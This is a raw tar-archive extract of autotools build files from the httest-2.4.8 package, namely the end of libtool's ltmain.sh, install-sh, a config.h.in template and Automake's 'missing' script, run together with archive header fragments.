abs="$lib" ;; *) abs=`pwd`"/$lib" ;; esac func_append newdlprefiles " $abs" done dlprefiles="$newdlprefiles" fi $RM $output # place dlname in correct position for cygwin # In fact, it would be nice if we could use this code for all target # systems that can't hard-code library paths into their executables # and that have no shared library path variable independent of PATH, # but it turns out we can't easily determine that from inspecting # libtool variables, so we have to hard-code the OSs to which it # applies here; at the moment, that means platforms that use the PE # object format with DLL files. See the long comment at the top of # tests/bindir.at for full details. tdlname=$dlname case $host,$output,$installed,$module,$dlname in *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll | *cegcc*,*lai,yes,no,*.dll) # If a -bindir argument was supplied, place the dll there. if test "x$bindir" != x ; then func_relative_path "$install_libdir" "$bindir" tdlname=$func_relative_path_result$dlname else # Otherwise fall back on heuristic. tdlname=../bin/$dlname fi ;; esac $ECHO > $output "\ # $outputname - a libtool library file # Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION # # Please DO NOT delete this file! # It is necessary for linking the library. # The name that we can dlopen(3). dlname='$tdlname' # Names of this library. library_names='$library_names' # The name of the static archive. old_library='$old_library' # Linker flags that can not go in dependency_libs. inherited_linker_flags='$new_inherited_linker_flags' # Libraries that this one depends upon. dependency_libs='$dependency_libs' # Names of additional weak libraries provided by this library weak_library_names='$weak_libs' # Version information for $libname. current=$current age=$age revision=$revision # Is this an already installed library? installed=$installed # Should we warn about portability when linking against -modules? shouldnotlink=$module # Files to dlopen/dlpreopen dlopen='$dlfiles' dlpreopen='$dlprefiles' # Directory that this library needs to be installed in: libdir='$install_libdir'" if test "$installed" = no && test "$need_relink" = yes; then $ECHO >> $output "\ relink_command=\"$relink_command\"" fi done } # Do a symbolic link so that the libtool archive can be found in # LD_LIBRARY_PATH before the program is installed. func_show_eval '( cd "$output_objdir" && $RM "$outputname" && $LN_S "../$outputname" "$outputname" )' 'exit $?' ;; esac exit $EXIT_SUCCESS } { test "$opt_mode" = link || test "$opt_mode" = relink; } && func_mode_link ${1+"$@"} # func_mode_uninstall arg... func_mode_uninstall () { $opt_debug RM="$nonopt" files= rmforce= exit_status=0 # This variable tells wrapper scripts just to set variables rather # than running their programs. libtool_install_magic="$magic" for arg do case $arg in -f) func_append RM " $arg"; rmforce=yes ;; -*) func_append RM " $arg" ;; *) func_append files " $arg" ;; esac done test -z "$RM" && \ func_fatal_help "you must specify an RM program" rmdirs= for file in $files; do func_dirname "$file" "" "." dir="$func_dirname_result" if test "X$dir" = X.; then odir="$objdir" else odir="$dir/$objdir" fi func_basename "$file" name="$func_basename_result" test "$opt_mode" = uninstall && odir="$dir" # Remember odir for removal later, being careful to avoid duplicates if test "$opt_mode" = clean; then case " $rmdirs " in *" $odir "*) ;; *) func_append rmdirs " $odir" ;; esac fi # Don't error if the file doesn't exist and rm -f was used. if { test -L "$file"; } >/dev/null 2>&1 || { test -h "$file"; } >/dev/null 2>&1 || test -f "$file"; then : elif test -d "$file"; then exit_status=1 continue elif test "$rmforce" = yes; then continue fi rmfiles="$file" case $name in *.la) # Possibly a libtool archive, so verify it. if func_lalib_p "$file"; then func_source $dir/$name # Delete the libtool libraries and symlinks. for n in $library_names; do func_append rmfiles " $odir/$n" done test -n "$old_library" && func_append rmfiles " $odir/$old_library" case "$opt_mode" in clean) case " $library_names " in *" $dlname "*) ;; *) test -n "$dlname" && func_append rmfiles " $odir/$dlname" ;; esac test -n "$libdir" && func_append rmfiles " $odir/$name $odir/${name}i" ;; uninstall) if test -n "$library_names"; then # Do each command in the postuninstall commands. func_execute_cmds "$postuninstall_cmds" 'test "$rmforce" = yes || exit_status=1' fi if test -n "$old_library"; then # Do each command in the old_postuninstall commands. func_execute_cmds "$old_postuninstall_cmds" 'test "$rmforce" = yes || exit_status=1' fi # FIXME: should reinstall the best remaining shared library. ;; esac fi ;; *.lo) # Possibly a libtool object, so verify it. if func_lalib_p "$file"; then # Read the .lo file func_source $dir/$name # Add PIC object to the list of files to remove. if test -n "$pic_object" && test "$pic_object" != none; then func_append rmfiles " $dir/$pic_object" fi # Add non-PIC object to the list of files to remove. if test -n "$non_pic_object" && test "$non_pic_object" != none; then func_append rmfiles " $dir/$non_pic_object" fi fi ;; *) if test "$opt_mode" = clean ; then noexename=$name case $file in *.exe) func_stripname '' '.exe' "$file" file=$func_stripname_result func_stripname '' '.exe' "$name" noexename=$func_stripname_result # $file with .exe has already been added to rmfiles, # add $file without .exe func_append rmfiles " $file" ;; esac # Do a test to see if this is a libtool program. if func_ltwrapper_p "$file"; then if func_ltwrapper_executable_p "$file"; then func_ltwrapper_scriptname "$file" relink_command= func_source $func_ltwrapper_scriptname_result func_append rmfiles " $func_ltwrapper_scriptname_result" else relink_command= func_source $dir/$noexename fi # note $name still contains .exe if it was in $file originally # as does the version of $file that was added into $rmfiles func_append rmfiles " $odir/$name $odir/${name}S.${objext}" if test "$fast_install" = yes && test -n "$relink_command"; then func_append rmfiles " $odir/lt-$name" fi if test "X$noexename" != "X$name" ; then func_append rmfiles " $odir/lt-${noexename}.c" fi fi fi ;; esac func_show_eval "$RM $rmfiles" 'exit_status=1' done # Try to remove the ${objdir}s in the directories where we deleted files for dir in $rmdirs; do if test -d "$dir"; then func_show_eval "rmdir $dir >/dev/null 2>&1" fi done exit $exit_status } { test "$opt_mode" = uninstall || test "$opt_mode" = clean; } && func_mode_uninstall ${1+"$@"} test -z "$opt_mode" && { help="$generic_help" func_fatal_help "you must specify a MODE" } test -z "$exec_cmd" && \ func_fatal_help "invalid operation mode \`$opt_mode'" if test -n "$exec_cmd"; then eval exec "$exec_cmd" exit $EXIT_FAILURE fi exit $exit_status # The TAGs below are defined such that we never get into a situation # in which we disable both kinds of libraries. Given conflicting # choices, we go for a static library, that is the most portable, # since we can't tell whether shared libraries were disabled because # the user asked for that or because the platform doesn't support # them. This is particularly important on AIX, because we don't # support having both static and shared libraries enabled at the same # time on that platform, so we default to a shared-only configuration. # If a disable-shared tag is given, we'll fallback to a static-only # configuration. But we'll never go from static-only to shared-only. # ### BEGIN LIBTOOL TAG CONFIG: disable-shared build_libtool_libs=no build_old_libs=yes # ### END LIBTOOL TAG CONFIG: disable-shared # ### BEGIN LIBTOOL TAG CONFIG: disable-static build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac` # ### END LIBTOOL TAG CONFIG: disable-static # Local Variables: # mode:shell-script # sh-indentation:2 # End: # vi:sw=2 httest-2.4.8/config/install-sh0000755000175100017510000003325612026454250013245 00000000000000#!/bin/sh # install - install a program, script, or datafile scriptversion=2011-01-19.21; # UTC # This originates from X11R5 (mit/util/scripts/install.sh), which was # later released in X11R6 (xc/config/util/install.sh) with the # following copyright and license. # # Copyright (C) 1994 X Consortium # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN # AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- # TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # Except as contained in this notice, the name of the X Consortium shall not # be used in advertising or otherwise to promote the sale, use or other deal- # ings in this Software without prior written authorization from the X Consor- # tium. # # # FSF changes to this file are in the public domain. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. nl=' ' IFS=" "" $nl" # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit=${DOITPROG-} if test -z "$doit"; then doit_exec=exec else doit_exec=$doit fi # Put in absolute file names if you don't have them in your path; # or use environment vars. chgrpprog=${CHGRPPROG-chgrp} chmodprog=${CHMODPROG-chmod} chownprog=${CHOWNPROG-chown} cmpprog=${CMPPROG-cmp} cpprog=${CPPROG-cp} mkdirprog=${MKDIRPROG-mkdir} mvprog=${MVPROG-mv} rmprog=${RMPROG-rm} stripprog=${STRIPPROG-strip} posix_glob='?' initialize_posix_glob=' test "$posix_glob" != "?" || { if (set -f) 2>/dev/null; then posix_glob= else posix_glob=: fi } ' posix_mkdir= # Desired mode of installed file. mode=0755 chgrpcmd= chmodcmd=$chmodprog chowncmd= mvcmd=$mvprog rmcmd="$rmprog -f" stripcmd= src= dst= dir_arg= dst_arg= copy_on_change=false no_target_directory= usage="\ Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE or: $0 [OPTION]... SRCFILES... DIRECTORY or: $0 [OPTION]... -t DIRECTORY SRCFILES... or: $0 [OPTION]... -d DIRECTORIES... In the 1st form, copy SRCFILE to DSTFILE. In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. In the 4th, create DIRECTORIES. Options: --help display this help and exit. --version display version info and exit. -c (ignored) -C install only if different (preserve the last data modification time) -d create directories instead of installing files. -g GROUP $chgrpprog installed files to GROUP. -m MODE $chmodprog installed files to MODE. -o USER $chownprog installed files to USER. -s $stripprog installed files. -t DIRECTORY install into DIRECTORY. -T report an error if DSTFILE is a directory. Environment variables override the default commands: CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG " while test $# -ne 0; do case $1 in -c) ;; -C) copy_on_change=true;; -d) dir_arg=true;; -g) chgrpcmd="$chgrpprog $2" shift;; --help) echo "$usage"; exit $?;; -m) mode=$2 case $mode in *' '* | *' '* | *' '* | *'*'* | *'?'* | *'['*) echo "$0: invalid mode: $mode" >&2 exit 1;; esac shift;; -o) chowncmd="$chownprog $2" shift;; -s) stripcmd=$stripprog;; -t) dst_arg=$2 # Protect names problematic for `test' and other utilities. case $dst_arg in -* | [=\(\)!]) dst_arg=./$dst_arg;; esac shift;; -T) no_target_directory=true;; --version) echo "$0 $scriptversion"; exit $?;; --) shift break;; -*) echo "$0: invalid option: $1" >&2 exit 1;; *) break;; esac shift done if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then # When -d is used, all remaining arguments are directories to create. # When -t is used, the destination is already specified. # Otherwise, the last argument is the destination. Remove it from $@. for arg do if test -n "$dst_arg"; then # $@ is not empty: it contains at least $arg. set fnord "$@" "$dst_arg" shift # fnord fi shift # arg dst_arg=$arg # Protect names problematic for `test' and other utilities. case $dst_arg in -* | [=\(\)!]) dst_arg=./$dst_arg;; esac done fi if test $# -eq 0; then if test -z "$dir_arg"; then echo "$0: no input file specified." >&2 exit 1 fi # It's OK to call `install-sh -d' without argument. # This can happen when creating conditional directories. exit 0 fi if test -z "$dir_arg"; then do_exit='(exit $ret); exit $ret' trap "ret=129; $do_exit" 1 trap "ret=130; $do_exit" 2 trap "ret=141; $do_exit" 13 trap "ret=143; $do_exit" 15 # Set umask so as not to create temps with too-generous modes. # However, 'strip' requires both read and write access to temps. case $mode in # Optimize common cases. *644) cp_umask=133;; *755) cp_umask=22;; *[0-7]) if test -z "$stripcmd"; then u_plus_rw= else u_plus_rw='% 200' fi cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;; *) if test -z "$stripcmd"; then u_plus_rw= else u_plus_rw=,u+rw fi cp_umask=$mode$u_plus_rw;; esac fi for src do # Protect names problematic for `test' and other utilities. case $src in -* | [=\(\)!]) src=./$src;; esac if test -n "$dir_arg"; then dst=$src dstdir=$dst test -d "$dstdir" dstdir_status=$? else # Waiting for this to be detected by the "$cpprog $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if test ! -f "$src" && test ! -d "$src"; then echo "$0: $src does not exist." >&2 exit 1 fi if test -z "$dst_arg"; then echo "$0: no destination specified." >&2 exit 1 fi dst=$dst_arg # If destination is a directory, append the input filename; won't work # if double slashes aren't ignored. if test -d "$dst"; then if test -n "$no_target_directory"; then echo "$0: $dst_arg: Is a directory" >&2 exit 1 fi dstdir=$dst dst=$dstdir/`basename "$src"` dstdir_status=0 else # Prefer dirname, but fall back on a substitute if dirname fails. dstdir=` (dirname "$dst") 2>/dev/null || expr X"$dst" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$dst" : 'X\(//\)[^/]' \| \ X"$dst" : 'X\(//\)$' \| \ X"$dst" : 'X\(/\)' \| . 2>/dev/null || echo X"$dst" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q' ` test -d "$dstdir" dstdir_status=$? fi fi obsolete_mkdir_used=false if test $dstdir_status != 0; then case $posix_mkdir in '') # Create intermediate dirs using mode 755 as modified by the umask. # This is like FreeBSD 'install' as of 1997-10-28. umask=`umask` case $stripcmd.$umask in # Optimize common cases. *[2367][2367]) mkdir_umask=$umask;; .*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;; *[0-7]) mkdir_umask=`expr $umask + 22 \ - $umask % 100 % 40 + $umask % 20 \ - $umask % 10 % 4 + $umask % 2 `;; *) mkdir_umask=$umask,go-w;; esac # With -d, create the new directory with the user-specified mode. # Otherwise, rely on $mkdir_umask. if test -n "$dir_arg"; then mkdir_mode=-m$mode else mkdir_mode= fi posix_mkdir=false case $umask in *[123567][0-7][0-7]) # POSIX mkdir -p sets u+wx bits regardless of umask, which # is incompatible with FreeBSD 'install' when (umask & 300) != 0. ;; *) tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$ trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0 if (umask $mkdir_umask && exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1 then if test -z "$dir_arg" || { # Check for POSIX incompatibilities with -m. # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or # other-writeable bit of parent directory when it shouldn't. # FreeBSD 6.1 mkdir -m -p sets mode of existing directory. ls_ld_tmpdir=`ls -ld "$tmpdir"` case $ls_ld_tmpdir in d????-?r-*) different_mode=700;; d????-?--*) different_mode=755;; *) false;; esac && $mkdirprog -m$different_mode -p -- "$tmpdir" && { ls_ld_tmpdir_1=`ls -ld "$tmpdir"` test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1" } } then posix_mkdir=: fi rmdir "$tmpdir/d" "$tmpdir" else # Remove any dirs left behind by ancient mkdir implementations. rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null fi trap '' 0;; esac;; esac if $posix_mkdir && ( umask $mkdir_umask && $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir" ) then : else # The umask is ridiculous, or mkdir does not conform to POSIX, # or it failed possibly due to a race condition. Create the # directory the slow way, step by step, checking for races as we go. case $dstdir in /*) prefix='/';; [-=\(\)!]*) prefix='./';; *) prefix='';; esac eval "$initialize_posix_glob" oIFS=$IFS IFS=/ $posix_glob set -f set fnord $dstdir shift $posix_glob set +f IFS=$oIFS prefixes= for d do test X"$d" = X && continue prefix=$prefix$d if test -d "$prefix"; then prefixes= else if $posix_mkdir; then (umask=$mkdir_umask && $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break # Don't fail if two instances are running concurrently. test -d "$prefix" || exit 1 else case $prefix in *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;; *) qprefix=$prefix;; esac prefixes="$prefixes '$qprefix'" fi fi prefix=$prefix/ done if test -n "$prefixes"; then # Don't fail if two instances are running concurrently. (umask $mkdir_umask && eval "\$doit_exec \$mkdirprog $prefixes") || test -d "$dstdir" || exit 1 obsolete_mkdir_used=true fi fi fi if test -n "$dir_arg"; then { test -z "$chowncmd" || $doit $chowncmd "$dst"; } && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } && { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false || test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1 else # Make a couple of temp file names in the proper directory. dsttmp=$dstdir/_inst.$$_ rmtmp=$dstdir/_rm.$$_ # Trap to clean up those temp files at exit. trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 # Copy the file name to the temp name. (umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") && # and set any options; do chmod last to preserve setuid bits. # # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $cpprog $src $dsttmp" command. # { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } && { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } && # If -C, don't bother to copy if it wouldn't change the file. if $copy_on_change && old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` && new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` && eval "$initialize_posix_glob" && $posix_glob set -f && set X $old && old=:$2:$4:$5:$6 && set X $new && new=:$2:$4:$5:$6 && $posix_glob set +f && test "$old" = "$new" && $cmpprog "$dst" "$dsttmp" >/dev/null 2>&1 then rm -f "$dsttmp" else # Rename the file to the real destination. $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null || # The rename failed, perhaps because mv can't rename something else # to itself, or perhaps because mv is so ancient that it does not # support -f. { # Now remove or move aside any old file at destination location. # We try this two ways since rm can't unlink itself on some # systems and the destination file might be busy for other # reasons. In this case, the final cleanup might fail but the new # file should still install successfully. { test ! -f "$dst" || $doit $rmcmd -f "$dst" 2>/dev/null || { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null && { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; } } || { echo "$0: cannot unlink or rename $dst" >&2 (exit 1); exit 1 } } && # Now rename the file to the real destination. $doit $mvcmd "$dsttmp" "$dst" } fi || exit 1 trap '' 0 fi done # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-time-zone: "UTC" # time-stamp-end: "; # UTC" # End: httest-2.4.8/config/config.h.in0000664000175100017510000000673612205604044013266 00000000000000/* config/config.h.in. Generated from configure.in by autoheader. */ /* Define to 1 if you have the `bzero' function. */ #undef HAVE_BZERO /* Define to 1 if you have the header file. */ #undef HAVE_DLFCN_H /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define to 1 if your system has a GNU libc compatible `malloc' function, and to 0 otherwise. */ #undef HAVE_MALLOC /* Define to 1 if you have the header file. */ #undef HAVE_MEMORY_H /* Define to 1 if you have the `select' function. */ #undef HAVE_SELECT /* Define to 1 if you have the `socket' function. */ #undef HAVE_SOCKET /* Define to 1 if stdbool.h conforms to C99. */ #undef HAVE_STDBOOL_H /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SELECT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SOCKET_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* Define to 1 if the system has the type `_Bool'. */ #undef HAVE__BOOL /* Define to the sub-directory in which libtool stores uninstalled libraries. */ #undef LT_OBJDIR /* Name of package */ #undef PACKAGE /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the home page for this package. */ #undef PACKAGE_URL /* Define to the version of this package. */ #undef PACKAGE_VERSION /* Define to the type of arg 1 for `select'. */ #undef SELECT_TYPE_ARG1 /* Define to the type of args 2, 3 and 4 for `select'. */ #undef SELECT_TYPE_ARG234 /* Define to the type of arg 5 for `select'. */ #undef SELECT_TYPE_ARG5 /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS /* Define to 1 if you can safely include both and . */ #undef TIME_WITH_SYS_TIME /* Enable extensions on AIX 3, Interix. */ #ifndef _ALL_SOURCE # undef _ALL_SOURCE #endif /* Enable GNU extensions on systems that have them. */ #ifndef _GNU_SOURCE # undef _GNU_SOURCE #endif /* Enable threading extensions on Solaris. */ #ifndef _POSIX_PTHREAD_SEMANTICS # undef _POSIX_PTHREAD_SEMANTICS #endif /* Enable extensions on HP NonStop. */ #ifndef _TANDEM_SOURCE # undef _TANDEM_SOURCE #endif /* Enable general extensions on Solaris. */ #ifndef __EXTENSIONS__ # undef __EXTENSIONS__ #endif /* Version number of package */ #undef VERSION /* Define to 1 if on MINIX. */ #undef _MINIX /* Define to 2 if the system does not provide POSIX.1 features except with this defined. */ #undef _POSIX_1_SOURCE /* Define to 1 if you need to in order for `stat' and other things to work. */ #undef _POSIX_SOURCE /* Define to empty if `const' does not conform to ANSI C. */ #undef const /* Define to rpl_malloc if the replacement function should be used. */ #undef malloc httest-2.4.8/config/missing0000755000175100017510000002415212026454250012633 00000000000000#! /bin/sh # Common stub for a few missing GNU programs while installing. scriptversion=2012-01-06.13; # UTC # Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005, 2006, # 2008, 2009, 2010, 2011, 2012 Free Software Foundation, Inc. # Originally by Fran,cois Pinard , 1996. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. if test $# -eq 0; then echo 1>&2 "Try \`$0 --help' for more information" exit 1 fi run=: sed_output='s/.* --output[ =]\([^ ]*\).*/\1/p' sed_minuso='s/.* -o \([^ ]*\).*/\1/p' # In the cases where this matters, `missing' is being run in the # srcdir already. if test -f configure.ac; then configure_ac=configure.ac else configure_ac=configure.in fi msg="missing on your system" case $1 in --run) # Try to run requested program, and just exit if it succeeds. run= shift "$@" && exit 0 # Exit code 63 means version mismatch. This often happens # when the user try to use an ancient version of a tool on # a file that requires a minimum version. In this case we # we should proceed has if the program had been absent, or # if --run hadn't been passed. if test $? = 63; then run=: msg="probably too old" fi ;; -h|--h|--he|--hel|--help) echo "\ $0 [OPTION]... PROGRAM [ARGUMENT]... Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an error status if there is no known handling for PROGRAM. Options: -h, --help display this help and exit -v, --version output version information and exit --run try to run the given command, and emulate it if it fails Supported PROGRAM values: aclocal touch file \`aclocal.m4' autoconf touch file \`configure' autoheader touch file \`config.h.in' autom4te touch the output file, or create a stub one automake touch all \`Makefile.in' files bison create \`y.tab.[ch]', if possible, from existing .[ch] flex create \`lex.yy.c', if possible, from existing .c help2man touch the output file lex create \`lex.yy.c', if possible, from existing .c makeinfo touch the output file yacc create \`y.tab.[ch]', if possible, from existing .[ch] Version suffixes to PROGRAM as well as the prefixes \`gnu-', \`gnu', and \`g' are ignored when checking the name. Send bug reports to ." exit $? ;; -v|--v|--ve|--ver|--vers|--versi|--versio|--version) echo "missing $scriptversion (GNU Automake)" exit $? ;; -*) echo 1>&2 "$0: Unknown \`$1' option" echo 1>&2 "Try \`$0 --help' for more information" exit 1 ;; esac # normalize program name to check for. program=`echo "$1" | sed ' s/^gnu-//; t s/^gnu//; t s/^g//; t'` # Now exit if we have it, but it failed. Also exit now if we # don't have it and --version was passed (most likely to detect # the program). This is about non-GNU programs, so use $1 not # $program. case $1 in lex*|yacc*) # Not GNU programs, they don't have --version. ;; *) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 elif test "x$2" = "x--version" || test "x$2" = "x--help"; then # Could not run --version or --help. This is probably someone # running `$TOOL --version' or `$TOOL --help' to check whether # $TOOL exists and not knowing $TOOL uses missing. exit 1 fi ;; esac # If it does not exist, or fails to run (possibly an outdated version), # try to emulate it. case $program in aclocal*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`acinclude.m4' or \`${configure_ac}'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." touch aclocal.m4 ;; autoconf*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`${configure_ac}'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." touch configure ;; autoheader*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`acconfig.h' or \`${configure_ac}'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}` test -z "$files" && files="config.h" touch_files= for f in $files; do case $f in *:*) touch_files="$touch_files "`echo "$f" | sed -e 's/^[^:]*://' -e 's/:.*//'`;; *) touch_files="$touch_files $f.in";; esac done touch $touch_files ;; automake*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." find . -type f -name Makefile.am -print | sed 's/\.am$/.in/' | while read f; do touch "$f"; done ;; autom4te*) echo 1>&2 "\ WARNING: \`$1' is needed, but is $msg. You might have modified some files without having the proper tools for further handling them. You can get \`$1' as part of \`Autoconf' from any GNU archive site." file=`echo "$*" | sed -n "$sed_output"` test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"` if test -f "$file"; then touch $file else test -z "$file" || exec >$file echo "#! /bin/sh" echo "# Created by GNU Automake missing as a replacement of" echo "# $ $@" echo "exit 0" chmod +x $file exit 1 fi ;; bison*|yacc*) echo 1>&2 "\ WARNING: \`$1' $msg. You should only need it if you modified a \`.y' file. You may need the \`Bison' package in order for those modifications to take effect. You can get \`Bison' from any GNU archive site." rm -f y.tab.c y.tab.h if test $# -ne 1; then eval LASTARG=\${$#} case $LASTARG in *.y) SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` if test -f "$SRCFILE"; then cp "$SRCFILE" y.tab.c fi SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` if test -f "$SRCFILE"; then cp "$SRCFILE" y.tab.h fi ;; esac fi if test ! -f y.tab.h; then echo >y.tab.h fi if test ! -f y.tab.c; then echo 'main() { return 0; }' >y.tab.c fi ;; lex*|flex*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified a \`.l' file. You may need the \`Flex' package in order for those modifications to take effect. You can get \`Flex' from any GNU archive site." rm -f lex.yy.c if test $# -ne 1; then eval LASTARG=\${$#} case $LASTARG in *.l) SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` if test -f "$SRCFILE"; then cp "$SRCFILE" lex.yy.c fi ;; esac fi if test ! -f lex.yy.c; then echo 'main() { return 0; }' >lex.yy.c fi ;; help2man*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified a dependency of a manual page. You may need the \`Help2man' package in order for those modifications to take effect. You can get \`Help2man' from any GNU archive site." file=`echo "$*" | sed -n "$sed_output"` test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"` if test -f "$file"; then touch $file else test -z "$file" || exec >$file echo ".ab help2man is required to generate this page" exit $? fi ;; makeinfo*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified a \`.texi' or \`.texinfo' file, or any other file indirectly affecting the aspect of the manual. The spurious call might also be the consequence of using a buggy \`make' (AIX, DU, IRIX). You might want to install the \`Texinfo' package or the \`GNU make' package. Grab either from any GNU archive site." # The file to touch is that specified with -o ... file=`echo "$*" | sed -n "$sed_output"` test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"` if test -z "$file"; then # ... or it is the one specified with @setfilename ... infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` file=`sed -n ' /^@setfilename/{ s/.* \([^ ]*\) *$/\1/ p q }' $infile` # ... or it is derived from the source name (dir/f.texi becomes f.info) test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info fi # If the file does not exist, the user really needs makeinfo; # let's fail without touching anything. test -f $file || exit 1 touch $file ;; *) echo 1>&2 "\ WARNING: \`$1' is needed, and is $msg. You might have modified some files without having the proper tools for further handling them. Check the \`README' file, it often tells you about the needed prerequisites for installing this package. You may also peek at any GNU archive site, in case some other package would contain this missing \`$1' program." exit 1 ;; esac exit 0 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-time-zone: "UTC" # time-stamp-end: "; # UTC" # End: httest-2.4.8/src/0000775000175100017510000000000012205604044010631 